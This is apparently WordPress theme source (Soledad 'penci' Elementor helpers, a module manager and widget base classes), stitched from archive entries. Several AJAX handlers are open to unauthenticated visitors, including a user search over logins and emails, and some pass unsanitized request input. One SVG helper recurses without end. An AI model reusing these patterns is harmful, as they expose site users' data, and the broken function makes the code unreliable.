if ( ! function_exists( 'penci_get_user_by_query' ) ) {
	/**
	 * Get post by search
	 *
	 * @since 1.0.0
	 */
	function penci_get_user_by_query() {
		$search_string = isset( $_POST['q'] ) ? sanitize_text_field( wp_unslash( $_POST['q'] ) ) : ''; // phpcs:ignore
		$results       = array();

		$user_query = new WP_User_Query(
			array(
				'search'         => '*' . $search_string . '*',
				'search_columns' => array( 'user_login', 'user_email', 'user_nicename' ),
				'fields'         => array( 'ID', 'display_name' ),
			)
		);

		if ( empty( $user_query->get_results() ) ) {
			return;
		}

		foreach ( $user_query->get_results() as $user ) {
			$results[] = array(
				'id'   => $user->ID,
				'text' => $user->display_name,
			);
		}

		wp_send_json( $results );
	}

	add_action( 'wp_ajax_penci_get_user_by_query', 'penci_get_user_by_query' );
	add_action( 'wp_ajax_nopriv_penci_get_user_by_query', 'penci_get_user_by_query' );
}

if ( ! function_exists( 'penci_get_user_title_by_id' ) ) {
	/**
	 * Get post title by ID
	 *
	 * @since 1.0.0
	 */
	function penci_get_user_title_by_id() {
		$ids     = isset( $_POST['id'] ) ? $_POST['id'] : array(); // phpcs:ignore
		$results = array();

		$user_query = new WP_User_Query(
			array(
				'include'        => $ids,
				'search_columns' => array( 'user_login', 'user_email', 'user_nicename' ),
				'fields'         => array( 'ID', 'display_name' ),
			)
		);

		if ( empty( $user_query->get_results() ) ) {
			return;
		}

		foreach ( $user_query->get_results() as $user ) {
			$results[ $user->ID ] = $user->display_name;
		}

		wp_send_json( $results );
	}

	add_action( 'wp_ajax_penci_get_user_title_by_id', 'penci_get_user_title_by_id' );
	add_action( 'wp_ajax_nopriv_penci_get_user_title_by_id', 'penci_get_user_title_by_id' );
}

if ( ! function_exists( 'penci_get_posts_title_by_id' ) ) {
	/**
	 * Get post title by ID
	 *
	 * @since 1.0.0
	 */
	function penci_get_posts_title_by_id() {
		$ids     = isset( $_POST['id'] ) ? $_POST['id'] : array(); // phpcs:ignore
		$results = array();

		$args = array(
			'post__in'       => $ids,
			'posts_per_page' => - 1,
			'post_type'      => 'any',
		);

		$query = get_posts( $args );

		if ( empty( $query ) ) {
			return;
		}

		foreach ( $query as $post ) {
			$results[ $post->ID ] = $post->post_title;
		}

		wp_send_json( $results );
	}

	add_action( 'wp_ajax_penci_get_posts_title_by_id', 'penci_get_posts_title_by_id' );
	add_action( 'wp_ajax_nopriv_penci_get_posts_title_by_id', 'penci_get_posts_title_by_id' );
}
if ( ! function_exists( 'penci_get_taxonomies_title_by_id' ) ) {
	/**
	 * Get taxonomies title by id
	 *
	 * @since 1.0.0
	 */
	function penci_get_taxonomies_title_by_id() {
		$ids     = isset( $_POST['id'] ) ? $_POST['id'] : array(); // phpcs:ignore
		$results = array();

		if ( is_array( $ids ) && $ids ) {
			foreach ( $ids as $id ) {
				$term = get_term( $id );
				if ( is_object( $term ) ) {
					$results[ $term->term_id ] = $term->name . ' (' . $term->taxonomy . ')';
				}
			}
		}

		wp_send_json( $results );
	}

	add_action( 'wp_ajax_penci_get_taxonomies_title_by_id', 'penci_get_taxonomies_title_by_id' );
	add_action( 'wp_ajax_nopriv_penci_get_taxonomies_title_by_id', 'penci_get_taxonomies_title_by_id' );
}

if ( ! function_exists( 'penci_get_taxonomies_by_query' ) ) {
	/**
	 * Get taxonomies by search
	 *
	 * @since 1.0.0
	 */
	function penci_get_taxonomies_by_query() {
		$search_string = isset( $_POST['q'] ) ? sanitize_text_field( wp_unslash( $_POST['q'] ) ) : ''; // phpcs:ignore
		$taxonomy      = isset( $_POST['taxonomy'] ) ? $_POST['taxonomy'] : ''; // phpcs:ignore
		$results       = array();

		$args = array(
			'taxonomy'   => $taxonomy,
			'hide_empty' => false,
			'search'     => $search_string,
		);

		$terms = get_terms( $args );

		if ( is_array( $terms ) && $terms ) {
			foreach ( $terms as $term ) {
				if ( is_object( $term ) ) {
					$results[] = array(
						'id'   => $term->term_id,
						'text' => $term->name . ' (' . $term->taxonomy . ')',
					);
				}
			}
		}

		wp_send_json( $results );
	}

	add_action( 'wp_ajax_penci_get_taxonomies_by_query', 'penci_get_taxonomies_by_query' );
	add_action( 'wp_ajax_nopriv_penci_get_taxonomies_by_query', 'penci_get_taxonomies_by_query' );
}

if ( ! function_exists( 'penci_get_image_html' ) ) {
	/**
	 * Get image url
	 *
	 * @param array $settings Control settings.
	 * @param string $image_size_key Settings key for image size.
	 *
	 * @return string
	 * @since 1.0.0
	 */
	function penci_get_image_html( $settings, $image_size_key = '' ) {

		return Group_Control_Image_Size::get_attachment_image_html( $settings, $image_size_key );
	}
}

if ( ! function_exists( 'penci_get_image_url' ) ) {
	/**
	 * Get image url
	 *
	 * @param integer $id Image id.
	 * @param string $image_size_key Settings key for image size.
	 * @param array $settings Control settings.
	 *
	 * @return string
	 * @since 1.0.0
	 */
	function penci_get_image_url( $id, $image_size_key, $settings ) {

		return Group_Control_Image_Size::get_attachment_image_src( $id, $image_size_key, $settings );
	}
}

if ( ! function_exists( 'penci_el_get_link_attrs' ) ) {
	/**
	 * Get image url
	 *
	 * @param array $link Link data array.
	 *
	 * @return string
	 * @since 1.0.0
	 */
	function penci_el_get_link_attrs( $link ) {
		$link_attrs = '';

		if ( isset( $link['url'] ) && $link['url'] ) {
			$link_attrs = ' href="' . esc_url( $link['url'] ) . '"';

			if ( isset( $link['is_external'] ) && 'on' === $link['is_external'] ) {
				$link_attrs .= ' target="_blank"';
			}

			if ( isset( $link['nofollow'] ) && 'on' === $link['nofollow'] ) {
				$link_attrs .= ' rel="nofollow noopener"';
			}
		}

		if ( isset( $link['class'] ) ) {
			$link_attrs .= ' class="' . esc_attr( $link['class'] ) . '"';
		}

		if ( isset( $link['data'] ) ) {
			$link_attrs .= $link['data'];
		}

		if ( isset( $link['custom_attributes'] ) ) {
			$custom_attributes = Utils::parse_custom_attributes( $link['custom_attributes'] );
			foreach ( $custom_attributes as $key => $value ) {
				$link_attrs .= ' ' . $key . '="' . $value . '"';
			}
		}

		return $link_attrs;
	}
}

if ( ! function_exists( 'penci_elementor_get_render_icon' ) ) {
	/**
	 * Render Icon
	 *
	 * @param array $icon Icon Type, Icon value.
	 * @param array $attributes Icon HTML Attributes.
	 * @param string $tag Icon HTML tag, defaults to <i>.
	 *
	 * @return mixed|string
	 * @since 1.0.0
	 */
	function penci_elementor_get_render_icon( $icon, $attributes = array(), $tag = 'i' ) {
		ob_start();
		Icons_Manager::render_icon( $icon, $attributes, $tag );

		return ob_get_clean();
	}
}


if ( ! function_exists( 'penci_get_all_taxonomies' ) ) {
	function penci_get_all_taxonomies() {

		$out = array(
			'category' => 'Post Categories',
			'post_tag' => 'Post Tags',
		);

		if ( class_exists( 'woocommerce' ) ) {
			$out['product_cat'] = 'Product Categories';
			$out['product_tag'] = 'Product Tags';
		}

		if ( class_exists( 'Penci_Portfolio' ) ) {
			$out['portfolio-category'] = 'Portfolio Category';
		}

		return $out;
	}
}

if ( ! function_exists( 'penci_get_taxonomies_image' ) ) {
	function penci_get_taxonomies_image(
		$tax, $term, $options = array(
		'sort' => '',
		'key'  => '',
	)
	) {

		if ( 'field' == $options['sort'] && $options['key'] ) {
			return get_term_meta( $term, $options['key'], true );

		}

		$custom_arg = array();
		$arg        = array(
			'post_type'      => 'post',
			'posts_per_page' => 1,
			'meta_query'     => array(
				array(
					'key' => '_thumbnail_id',
				),
			),
			'tax_query'      => array(
				array(
					'taxonomy' => $tax,
					'terms'    => $term,
				),
			),
		);

		if ( $tax == 'product_cat' || $tax == 'product_tag' ) {
			$custom_arg['post_type'] = 'product';
		}

		if ( $tax == 'portfolio-category' ) {
			$custom_arg['post_type'] = 'portfolio';
		}

		if ( 'random' == $options['sort'] ) {
			$custom_arg['orderby'] = 'rand';
		}

		if ( 'view' == $options['sort'] && $options['key'] ) {
			$custom_arg['orderby']  = 'meta_value_num';
			$custom_arg['meta_key'] = $options['key'];
		}

		$arg = wp_parse_args( $custom_arg, $arg );

		$term_img = get_posts( $arg );
		if ( $term_img ) {
			return get_post_thumbnail_id( $term_img[0]->ID );
		}
	}
}

if ( ! function_exists( 'penci_elementor_is_edit_mode' ) ) {
	/**
	 * Whether the edit mode is active.
	 *
	 * @since 1.0.0
	 */
	function penci_elementor_is_edit_mode() {
		return Plugin::$instance->editor->is_edit_mode();
	}
}


if ( ! function_exists( 'penci_elementor_get_render_icon' ) ) {
	/**
	 * Render Icon
	 *
	 * @param array $icon Icon Type, Icon value.
	 * @param array $attributes Icon HTML Attributes.
	 * @param string $tag Icon HTML tag, defaults to <i>.
	 *
	 * @return mixed|string
	 * @since 1.0.0
	 */
	function penci_elementor_get_render_icon( $icon, $attributes = array(), $tag = 'i' ) {
		ob_start();
		Icons_Manager::render_icon( $icon, $attributes, $tag );

		return ob_get_clean();
	}
}


if ( ! function_exists( 'penci_get_any_svg' ) ) {
	function penci_get_any_svg( $file, $id = false ) {
		$content   = function_exists( 'penci_get_any_svg' ) ? penci_get_any_svg( $file ) : '';
		$start_tag = '<svg';
		if ( $id ) {
			$pattern = '/id="(\w)+"/';
			if ( preg_match( $pattern, $content ) ) {
				$content = preg_replace( $pattern, 'id="' . $id . '"', $content, 1 );
			} else {
				$content = preg_replace( '/<svg/', '<svg id="' . $id . '"', $content );
			}
		}
		// Strip doctype
		$position = strpos( $content, $start_tag );
		$content  = substr( $content, $position );

		return $content;
	}
}
if ( ! function_exists( 'penci_get_terms_list' ) ) {
	function penci_get_terms_list( $tax ) {
		$post_cats_args = get_terms(
			array(
				'taxonomy'   => $tax,
				'hide_empty' => true,
			)
		);
		$post_terms     = array();
		if ( $post_cats_args && ! empty( $post_cats_args ) ) {
			foreach ( $post_cats_args as $post_cat ) {
				$post_terms[ $post_cat->term_id ] = $post_cat->name;
			}
		}

		return $post_terms;
	}
}

if ( ! function_exists( 'penci_add_cpt_elementor_support' ) ) {
	add_action( 'option_elementor_cpt_support', 'penci_add_cpt_elementor_support' );
	function penci_add_cpt_elementor_support( $current_option ) {

		$default_theme_support = array( 'penci-block', 'archive-template', 'custom-post-template' );

		if ( is_array( $current_option ) ) {

			foreach ( $default_theme_support as $post_type ) {
				$current_option[] = $post_type;
			}
		}

		return array_filter( $current_option );
	}
}PK     0w\.B!  B!  &  elementor/includes/modules-manager.phpnu [        <?php

namespace PenciSoledadElementor;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

final class Manager {
	/**
	 * @var Module_Base
	 */
	private $modules = array();
	private $column_order = 1;

	public function __construct() {

		// Register controls
		$modules = array(
			'penci-sticky',
			'query-control',
			'penci-visibility-controls',
			'penci-sticky-container',
			'penci-big-grid',
			'penci-featured-sliders',
			'penci-latest-posts',
			'penci-featured-cat',
			'penci-small-list',
			'penci-custom-sliders',
			'penci-popular-posts',
			'penci-portfolio',
			'penci-featured-boxes',
			'penci-fullwidth-hero-overlay',
			'penci-news-ticker',
			'penci-category-listing',
			'penci-media-carousel',
			'penci-about-me',
			'penci-button',
			'penci-button-popup',
			'penci-posts-slider',
			'penci-recent-posts',
			'penci-stylisted-articles-count',
			'penci-instagram',
			'penci-pintersest',
			'penci-social-media',
			'penci-block-heading-title',
			'penci-animated-headline',
			'penci-multi-taxonomies-posts-filter',
			'penci-content-accordion',
			'penci-image-compare',
			'penci-table-of-contents',
			'penci-custom-carousel',
			'penci-az-taxonomy-listing',
			'penci-advanced-calculator',
			'penci-hover-box',
			'penci-circle-info',
			'penci-circle-menu',
			'penci-timeline',
			'penci-marquee',

			'penci-facebook-page',
			'penci-count-down',
			'penci-counter-up',
			'penci-fancy-heading',
			'penci-map',
			'penci-advanced-gmaps',
			'penci-info-box',
			'penci-image-gallery',
			'penci-latest-tweets',
			'penci-mail-chimp',
			'penci-open-hour',
			'penci-popular-cat',
			'penci-text-block',
			'penci-pricing-table',
			'penci-progress-bar',
			'penci-social-counter',
			'penci-team-member',
			'penci-video-playlist',
			'penci-weather',
			'penci-testimonials',
			'penci-login-form',
			'penci-sidebar',
			'penci-advanced-list',
			'penci-simple-list',
			'penci-footer-navmenu',
			'penci-tiktok-embed-feed',
			'penci-advanced-categories',
			'penci-author-list',
			'penci-search-form',
			'penci-posts-tabs',
			'penci-snapchat',
			'penci-comments-list',
			'penci-rss-feed',
			'penci-flickr',
			'penci-contact-form',
		);

		if ( class_exists( 'WooCommerce' ) ) {
			$woocommerce_modules = array(
				'penci-product',
				'penci-product-brand',
				'penci-product-filter',
				'penci-product-categories-grid',
				'penci-product-tabs',
				'penci-product-hotspot',
				'penci-product-list',
			);
			$modules = array_merge( $modules, $woocommerce_modules );
		}

		if ( defined( 'WEBSTORIES_VERSION' ) ) {
			$modules[] = 'penci-web-story';
		}

		foreach ( $modules as $module_name ) {
			$class_name = str_replace( '-', ' ', $module_name );
			$class_name = str_replace( ' ', '', ucwords( $class_name ) );
			$class_name = __NAMESPACE__ . '\\Modules\\' . $class_name . '\Module';


			/** @var Module_Base $class_name */
			$experimental_data = $class_name::get_experimental_data();

			if ( $experimental_data ) {


				\Elementor\Plugin::$instance->experiments->add_feature( $experimental_data );

				if ( ! \Elementor\Plugin::$instance->experiments->is_feature_active( $experimental_data['name'] ) ) {
					continue;
				}
			}

			if ( $class_name::is_active() ) {
				$this->modules[ $module_name ] = $class_name::instance();
			}
		}

		$this->add_actions();
	}

	/**
	 * Add sticky class for sticky content and sticky sidebar
	 */
	protected function add_actions() {
		add_action( 'elementor/frontend/column/before_render', array( $this, 'add_column_attribute' ) );
		add_action( 'elementor/frontend/section/before_render', array( $this, 'add_section_attribute' ) );

		add_action( 'elementor/frontend/column/after_add_attributes', array( $this, 'add_column_attribute' ) );
		add_action( 'elementor/frontend/section/after_add_attributes', array( $this, 'add_section_attribute' ) );

		add_action( 'elementor/frontend/container/before_render', array( $this, 'add_container_attribute' ), 0 );
		add_action( 'elementor/frontend/before_render', array( $this, 'add_attributes_to_ft_elements' ) );
		add_action( 'elementor/widget/render_content', array( $this, 'add_div_after_ft_elements' ), 10, 2 );

	}
	

	public function add_attributes_to_ft_elements( $element ) {

		if ( ! $element->get_settings( 'query_id' ) ) {
			return;
		}
	
		$element->add_render_attribute(
			'_wrapper',
			[
				'class' => 'pcft-elers-wrapper pcft-ele-' . $element->get_settings( 'query_id' ),
			]
		);
	
	}

	public function add_div_after_ft_elements( $widget_content, $widget ) {
		if ( ! $widget->get_settings( 'query_id' ) ) {
			return $widget_content;
		}
		return $widget_content . penci_get_html_animation_loading( 'df' );
	}

	/**
	 * @param string $module_name
	 *
	 * @return Module_Base|Module_Base[]
	 */
	public function get_modules( $module_name ) {
		if ( $module_name ) {
			if ( isset( $this->modules[ $module_name ] ) ) {
				return $this->modules[ $module_name ];
			}

			return null;
		}

		return $this->modules;
	}

	public function add_column_attribute( $element ) {
		$settings = $element->get_settings();

		$current_column_order = $this->column_order;
		$element->add_render_attribute( array(
			'_inner_wrapper' => array( 'class' => 'theiaStickySidebar' ),
			'_wrapper'       => array(
				'class' => array(
					'penci-ercol-' . $settings['_column_size'],
					'penci-ercol-order-' . $current_column_order,
					in_array( $settings['_column_size'], array( 33, 25 ) ) ? 'penci-sticky-sb' : 'penci-sticky-ct',
					in_array( $settings['_column_size'], array( 33, 25 ) ) ? 'penci-sidebarSC' : '',
					$settings['background_background'] ? 'penci-dmcheck penci-elbg-activate' : '',
					isset( $settings['background_image']['url'] ) && $settings['background_image']['url'] ? 'penci-elbg-img' : ''
				)
			)
		) );

		$this->column_order = $current_column_order + 1;
	}

	public function add_container_attribute( $element ) {
		$settings      = $element->get_settings();
		$enable_sticky = isset( $settings['penci_enable_sticky'] ) ? $settings['penci_enable_sticky'] : false;

		$wrap = $element->get_data( 'isInner' ) ? 'e-child' : 'e-parent';

		if ( 'e-parent' == $wrap && $enable_sticky ) {
			$this->column_order = 1;

			$class = 'penci-section';

			$class .= $settings['background_background'] ? ' penci-dmcheck penci-elbg-activate' : '';
			$class .= isset( $settings['background_image']['url'] ) && $settings['background_image']['url'] ? ' penci-elbg-img' : '';

			if ( ! $enable_sticky ) {
				$class .= ' penci-disSticky';
			} else {
				$class .= ' penci-enSticky';
			}

			$element->add_render_attribute( '_wrapper', array(
				'class' => $class,
			) );
		}

		if ( 'e-child' == $wrap && $enable_sticky ) {
			$current_column_order = $this->column_order;
			$element->add_render_attribute( array(
				'_wrapper' => array(
					'class' => array(
						'pc-container-sticky',
						$current_column_order + 1 > 2 ? 'penci-sticky-sb penci-sidebarSC' : 'penci-sticky-ct',
						$settings['background_background'] ? 'penci-dmcheck penci-elbg-activate' : '',
						isset( $settings['background_image']['url'] ) && $settings['background_image']['url'] ? 'penci-elbg-img' : ''
					)
				)
			) );

			$this->column_order = $current_column_order + 1;
		}

	}

	public function add_section_attribute( $element ) {
		$settings = $element->get_settings();

		$enable_sticky       = isset( $settings['penci_enable_sticky'] ) ? $settings['penci_enable_sticky'] : false;
		$enable_repons_twosb = isset( $settings['penci_enable_repons_section'] ) ? $settings['penci_enable_repons_section'] : false;
		$ctsidebar_mb        = isset( $settings['penci_ctsidebar_mb'] ) ? $settings['penci_ctsidebar_mb'] : 'con_sb2_sb1';
		$structure           = isset( $settings['structure'] ) ? $settings['structure'] : '';

		$this->column_order = 1;

		$class = 'penci-section';

		$class .= $settings['background_background'] ? ' penci-dmcheck penci-elbg-activate' : '';
		$class .= isset( $settings['background_image']['url'] ) && $settings['background_image']['url'] ? ' penci-elbg-img' : '';

		if ( ! $enable_sticky ) {
			$class .= ' penci-disSticky';
		} else {
			$class .= ' penci-enSticky';
		}

		if ( $enable_repons_twosb ) {
			$class .= ' penci-repons-elsection';

			$class .= ' penci-' . $ctsidebar_mb;
		}

		if ( $structure ) {
			$class .= ' penci-structure-' . $structure;
		}

		$element->add_render_attribute( '_wrapper', array(
			'class' => $class,
		) );
	}

}
PK     0w\K~      elementor/base/module-base.phpnu [        <?php
namespace PenciSoledadElementor\Base;

use Elementor\Core\Base\Module;
use PenciSoledadElementor\Loader;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

abstract class Module_Base extends Module {

	public function get_widgets() {
		return array();
	}

	public function __construct() {
		add_action( 'elementor/widgets/register', array( $this, 'init_widgets' ),0 );
	}

	public function init_widgets() {
		$widget_manager = Loader::elementor()->widgets_manager;

		foreach ( $this->get_widgets() as $widget ) {
			$class_name = $this->get_reflection()->getNamespaceName() . '\Widgets\\' . $widget;



			if ( class_exists( $class_name ) ) {
				$widget_manager->register( new $class_name() );
			}
		}
	}
}
PK     0w\wJ8 J8   elementor/base/base-widget.phpnu [        <?php

namespace PenciSoledadElementor\Base;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Widget_Base;
use PenciSoledadElementor\Modules\QueryControl\Controls\Penci_Group_Control_Posts;
use PenciSoledadElementor\Modules\QueryControl\Module;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

abstract class Base_Widget extends Widget_Base {
	public static function markup_block_title( $args, $self = null ) {
		$defaults = array(
			'heading_title_style'    => 'style-1',
			'heading_title_html_tag' => 'h3',
			'heading'                => '',
			'heading_title_link'     => '',
			'add_title_icon'         => '',
			'block_title_icon'       => '',
			'block_title_ialign'     => '',
			'block_title_align'      => '',
			'heading_icon_pos'       => '',
			'heading_icon'           => '',
			'block_title_marginbt'   => '',
			'blockid'                => '',
		);

		$r = wp_parse_args( $args, $defaults );

		if ( ! $r['heading'] ) {
			return;
		}

		if ( 'video_list' == $r['heading_title_style'] ) {
			return;
		}

		$heading_title = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
		$heading_align = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';


		if ( $r['heading_title_style'] ) {
			$heading_title = $r['heading_title_style'];
		}

		if ( $r['block_title_align'] ) {
			$heading_align = 'pcalign-' . $r['block_title_align'];
		}

		$heading_icon_pos    = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
		$heading_icon_design = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';

		if ( $r['heading_icon_pos'] ) {
			$heading_icon_pos = $r['heading_icon_pos'];
		}

		if ( $r['heading_icon'] ) {
			$heading_icon_design = $r['heading_icon'];
		}

		$classes = 'penci-border-arrow penci-homepage-title penci-home-latest-posts';
		$classes .= ' ' . $heading_title;
		$classes .= ' ' . $heading_align;
		$classes .= ' ' . $heading_icon_pos;
		$classes .= ' ' . $heading_icon_design;
		$classes .= $r['block_title_ialign'] ? ' block-title-icon-' . $r['block_title_ialign'] : ' block-title-icon-left';
		$htag    = $r['heading_title_html_tag'];
		?>
    <div class="<?php echo esc_attr( $classes ); ?>">
        <<?php echo $htag; ?> class="inner-arrow">
        <span>
                    <?php
                    if ( $r['heading_title_link']['url'] ) {
	                    $self->add_render_attribute( 'link', 'href', $r['heading_title_link']['url'] );
	                    if ( $r['heading_title_link']['is_external'] ) {
		                    $self->add_render_attribute( 'link', 'target', '_blank' );
	                    }

	                    if ( $r['heading_title_link']['nofollow'] ) {
		                    $self->add_render_attribute( 'link', 'rel', 'nofollow' );
	                    }

	                    echo '<a ' . $self->get_render_attribute_string( 'link' ) . '>';
                    } else {
	                    echo '<span>';
                    }

                    if ( $r['add_title_icon'] && $r['block_title_icon'] && 'left' == $r['block_title_ialign'] ) {
	                    \Elementor\Icons_Manager::render_icon( $r['block_title_icon'] );
                    }
                    echo do_shortcode( $r['heading'] );
                    if ( $r['add_title_icon'] && $r['block_title_icon'] && 'right' == $r['block_title_ialign'] ) {
	                    \Elementor\Icons_Manager::render_icon( $r['block_title_icon'] );
                    }
                    if ( $r['heading_title_link'] ) {
	                    echo '</a>';
                    } else {
	                    echo '</span>';
                    }
                    ?>
                </span>
        </<?php echo $htag; ?>>
		<?php do_action( 'penci_block_title_extra_' . $r['blockid'] ); ?>
        </div>
		<?php
	}

	public function get_categories() {
		return array( 'basic' );
	}

	public function register_block_title_ajax_filter( $navigation = false, $condition = [] ) {
		$this->start_controls_section( 'biggrid_section_afilter', array(
			'label'     => __( 'Heading Ajax Filter', 'soledad' ),
			'condition' => $condition
		) );

		$this->add_control( 'group_more_link_text', array(
			'label'       => __( 'Add Text Before More Icon', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'label_block' => true,
			'default'     => '',
		) );

		$this->add_control( 'group_more_nopost', array(
			'label'       => __( 'No Post Found Message', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'label_block' => true,
			'default'     => penci_get_setting( 'penci_ajaxsearch_no_post' ),
		) );

		$this->add_control( 'group_more_defaultab_text', array(
			'label'       => __( 'Default Tab Text', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'label_block' => true,
			'default'     => penci_get_setting( 'penci_trans_all' ),
		) );

		$this->add_control( 'biggrid_ajaxfilter_cat', array(
			'label'       => esc_html__( 'Category', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => 'category',
			'multiple'    => true,
			'label_block' => true,
		) );

		$this->add_control( 'biggrid_ajaxfilter_tag', array(
			'label'       => esc_html__( 'Tags', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => 'post_tag',
			'multiple'    => true,
			'label_block' => true,
		) );

		$this->add_control( 'biggrid_ajaxfilter_author', array(
			'label'       => esc_html__( 'Author', 'soledad' ),
			'label_block' => true,
			'multiple'    => true,
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_user_by_query',
			'render'      => 'penci_get_user_title_by_id',
		) );

		$this->add_control( 'biggrid_ajax_loading_style', array(
			'type'    => Controls_Manager::SELECT,
			'label'   => esc_html__( 'Loading Icon Style', 'soledad' ),
			'default' => 'df',
			'options' => [
				'df' => __( 'Follow Customize', 'soledad' ),
				's9' => __( 'Style 1', 'soledad' ),
				's2' => __( 'Style 2', 'soledad' ),
				's3' => __( 'Style 3', 'soledad' ),
				's4' => __( 'Style 4', 'soledad' ),
				's5' => __( 'Style 5', 'soledad' ),
				's6' => __( 'Style 6', 'soledad' ),
				's1' => __( 'Style 7', 'soledad' ),
			],
			//'label_block' => true,
		) );

		if ( $navigation ) {
			$this->add_control( 'paging', array(
				'label' => __( 'Show Ajax Previous/Next Buttons', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			) );
		}

		$this->end_controls_section();
	}

	public function register_block_title_section_controls() {
		$this->start_controls_section( 'section_title_block', array(
			'label' => __( 'Heading Title', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'heading_title_style', array(
			'label'   => __( 'Choose Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''                  => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'style-1'           => esc_html__( 'Style 1', 'soledad' ),
				'style-2'           => esc_html__( 'Style 2', 'soledad' ),
				'style-3'           => esc_html__( 'Style 3', 'soledad' ),
				'style-4'           => esc_html__( 'Style 4', 'soledad' ),
				'style-5'           => esc_html__( 'Style 5', 'soledad' ),
				'style-6'           => esc_html__( 'Style 6 - Only Text', 'soledad' ),
				'style-7'           => esc_html__( 'Style 7', 'soledad' ),
				'style-9'           => esc_html__( 'Style 8', 'soledad' ),
				'style-8'           => esc_html__( 'Style 9 - Custom Background Image', 'soledad' ),
				'style-10'          => esc_html__( 'Style 10', 'soledad' ),
				'style-11'          => esc_html__( 'Style 11', 'soledad' ),
				'style-12'          => esc_html__( 'Style 12', 'soledad' ),
				'style-13'          => esc_html__( 'Style 13', 'soledad' ),
				'style-14'          => esc_html__( 'Style 14', 'soledad' ),
				'style-15'          => esc_html__( 'Style 15', 'soledad' ),
				'style-16'          => esc_html__( 'Style 16', 'soledad' ),
				'style-2 style-17'  => esc_html__( 'Style 17', 'soledad' ),
				'style-18'          => esc_html__( 'Style 18', 'soledad' ),
				'style-18 style-19' => esc_html__( 'Style 19', 'soledad' ),
				'style-18 style-20' => esc_html__( 'Style 20', 'soledad' ),
				'style-21'          => esc_html__( 'Style 21', 'soledad' ),
				'style-22'          => esc_html__( 'Style 22', 'soledad' ),
				'style-23'          => esc_html__( 'Style 23', 'soledad' ),
				'style-24'          => esc_html__( 'Style 24', 'soledad' ),
				'style-25'          => __( 'Style 25', 'soledad' ),
				'style-26'          => __( 'Style 26', 'soledad' ),
				'style-27'          => __( 'Style 27', 'soledad' ),
				'style-28'          => __( 'Style 28', 'soledad' ),
				'style-29'          => __( 'Style 29', 'soledad' ),
				'style-30'          => __( 'Style 30', 'soledad' ),
			)
		) );
		$this->add_control( 'heading_title_html_tag', array(
			'label'   => __( 'HTML Tag', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'h3',
			'options' => array(
				'h1' => 'H1',
				'h2' => 'H2',
				'h3' => 'H3',
				'h4' => 'H4',
				'h5' => 'H5',
				'h6' => 'H6',
			)
		) );
		$this->add_control( 'heading', array(
			'label'   => __( 'Heading Title', 'soledad' ),
			'type'    => Controls_Manager::TEXT,
			'default' => __( 'Heading Title', 'soledad' ),
		) );
		$this->add_control( 'heading_title_link', array(
			'label'       => __( 'Title url', 'soledad' ),
			'type'        => Controls_Manager::URL,
			'placeholder' => __( 'https://your-link.com', 'soledad' ),
			'separator'   => 'before',
		) );

		$this->add_control( 'add_title_icon', array(
			'label'     => __( 'Add icon for title?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Show', 'soledad' ),
			'label_off' => __( 'Hide', 'soledad' ),
			'default'   => '',
			'separator' => 'before',
		) );

		$this->add_control( 'block_title_icon', array(
			'label'     => __( 'Icon', 'soledad' ),
			'type'      => Controls_Manager::ICONS,
			'default'   => array( 'value' => 'fas fa-star', 'library' => 'solid' ),
			'condition' => array(
				'add_title_icon' => 'yes'
			),
		) );
		$this->add_control( 'block_title_ialign', array(
			'label'     => __( 'Icon Alignment', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'left',
			'options'   => array(
				'left'  => esc_html__( 'Left', 'soledad' ),
				'right' => esc_html__( 'Right', 'soledad' ),
			),
			'condition' => array(
				'add_title_icon' => 'yes'
			),
		) );

		$this->add_responsive_control( 'block_title_ioffset', array(
			'label'       => __( 'Icon Offset', 'soledad' ),
			'description' => __( 'Adjust the vertical space', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'condition'   => array(
				'add_title_icon' => 'yes'
			),
			'selectors'   => array(
				'{{WRAPPER}} .inner-arrow i'   => 'transform: translateY({{SIZE}}px);',
				'{{WRAPPER}} .inner-arrow svg' => 'transform: translateY({{SIZE}}px);',
			)
		) );

		$this->add_responsive_control( 'block_title_isize', array(
			'label'     => __( 'Icon Size', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'condition' => array(
				'add_title_icon' => 'yes'
			),
			'selectors' => array(
				'{{WRAPPER}} .inner-arrow i'   => 'font-size: {{SIZE}}px;',
				'{{WRAPPER}} .inner-arrow svg' => 'width: {{SIZE}}px;height: auto',
			)
		) );

		$this->add_control( 'block_title_align', array(
			'label'   => __( 'Heading Align', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''       => esc_html__( 'Default ( follow Customize )', 'soledad' ),
				'left'   => esc_html__( 'Left', 'soledad' ),
				'center' => esc_html__( 'Center', 'soledad' ),
